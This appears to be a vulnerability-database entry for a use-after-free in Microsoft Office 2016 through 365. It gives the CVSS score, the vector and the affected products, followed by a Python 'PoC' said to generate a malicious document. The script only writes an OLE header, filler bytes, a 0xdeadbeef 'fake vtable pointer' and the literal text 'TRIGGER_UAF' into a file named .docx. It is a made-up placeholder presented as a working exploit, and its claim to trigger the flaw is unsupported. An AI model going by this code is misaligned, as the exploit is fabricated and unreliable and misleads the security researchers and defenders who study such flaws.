Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.
CVSS Details
CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Office 2016
Microsoft Office 2019
Microsoft Office 2021
Microsoft Office 365
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-40358 (Conceptual Use After Free)
# This script generates a crafted document structure to trigger the vulnerability.
# Note: This is a simplified demonstration for analysis purposes.
import struct
def generate_malicious_file(filename):
# Header for a generic Office file format (simplified)
header = b"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1"
# Malicious payload designed to manipulate heap layout
# attempting to occupy the freed memory space.
payload = b"A" * 0x100
payload += struct.pack('<Q', 0xdeadbeefdeadbeef) # Fake vtable pointer
# Trigger sequence: Free object -> Reuse object
trigger_sequence = b"\x00" * 0x50 + b"TRIGGER_UAF"
with open(filename, 'wb') as f:
f.write(header)
f.write(payload)
f.write(trigger_sequence)
print(f"[+] Malicious file '{filename}' generated successfully.")
print(f"[+] Opening this file in vulnerable Office versions may trigger the crash.")
if __name__ == "__main__":
generate_malicious_file("cve_2026_40358_poc.docx")